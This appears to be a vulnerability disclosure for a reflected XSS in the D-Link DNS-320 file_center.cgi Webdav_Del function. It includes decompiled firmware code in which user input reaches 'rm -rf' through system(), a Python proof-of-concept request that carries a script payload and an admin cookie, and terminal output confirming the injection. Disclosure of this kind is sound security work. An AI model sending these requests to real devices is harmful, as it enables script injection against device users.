D-Link DNS-320 file_center.cgi Webdav_Del Function Reflected Command XSS

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
  }
  else if ( !strcmp(s1, "Webdav_Del") )
  {
    sub_B160();
  }
```

A reflected Cross-Site Scripting (XSS) vulnerability exists in the `Webdav_Del` function of `file_center.cgi`, where the `f_dir` parameter is unsafely echoed into a JavaScript block without sanitization, allowing attackers to execute arbitrary scripts in the victim's browser.

```
int sub_B160()
{
  int v0; // r0
  char v2[1024]; // [sp+6h] [bp-104Eh] BYREF
  char v3[64]; // [sp+406h] [bp-C4Eh] BYREF
  char v4[512]; // [sp+446h] [bp-C0Eh] BYREF
  char v5[14]; // [sp+646h] [bp-A0Eh] BYREF
  char v6[512]; // [sp+A46h] [bp-60Eh] BYREF
  _BYTE v7[14]; // [sp+C46h] [bp-40Eh] BYREF
  char v8[2]; // [sp+E46h] [bp-20Eh] BYREF
  char v9[8]; // [sp+E48h] [bp-20Ch] BYREF
  int v10; // [sp+E50h] [bp-204h] BYREF

  cgiHeaderContentType("text/html");
  memset(v6, 0, sizeof(v6));
  memset(v3, 0, sizeof(v3));
  memset(v2, 0, sizeof(v2));
  memset(v4, 0, sizeof(v4));
  cgiFormStringNoNewlines("f_dir", v9, 512);    // f_dir
  cgiFormStringNoNewlines("f_type", v8, 2);
  cgiFormStringNoNewlines("f_name", v7, 512);
  xml_get_str("/network_mgr/lan/ip", 64, v3);
  v0 = sprintf(v2, "http://%s%s", v3, v9);
  if ( sub_A3A8(v0) != 1 )
    return printf("<script>location.href='%s'</script>", v2);
  sub_9158(&v10, v6, 1);
  sub_A588(v4, v7);
  if ( !strcmp(v8, "1") )
    sprintf(v5, "rm -f %s%s", v6, v4);
  else
    sprintf(v5, "rm -rf %s%s", v6, v4);
  xml_get_str("/network_mgr/lan/ip", 64, v3);
  sprintf(v2, "http://%s%s", v3, v9);
  system(v5);
  return printf("<script>location.href='%s'</script>", v2);
}
```

POC

```python
import requests

url = "http://192.168.31.10/cgi-bin/file_center.cgi"

headers = {
    "Cookie": "username=admin"
}

data = {
    "cmd": "Webdav_Del",
    "f_dir": "';alert('Long');throw 1;//"
}

# wget http://192.168.31.166:8876/poc.py

response = requests.post(
    url,
    headers=headers,
    data=data,
    timeout=10
)

print("Status:", response.status_code)
print("Response:")
print(response.text)
```

Attack

```python
import requests

url = "http://192.168.31.10/cgi-bin/file_center.cgi"

headers = {
    "Cookie": "username=admin"
}

data = {
    "cmd": "Webdav_Del",
    "f_dir": "';alert('Long');throw 1;//"
}

# wget http://192.168.31.166:8876/poc.py

response = requests.post(
    url,
    headers=headers,
    data=data,
    timeout=10
)

print("Status:", response.status_code)
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent successfully!
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent successfully!
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent successfully!
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent successfully!
PS D:\Desktop\temp> python .\lqx.py
Status: 200
Response:
<script>location.href='http://192.168.31.10';alert('Long');throw 1;//'</script>
```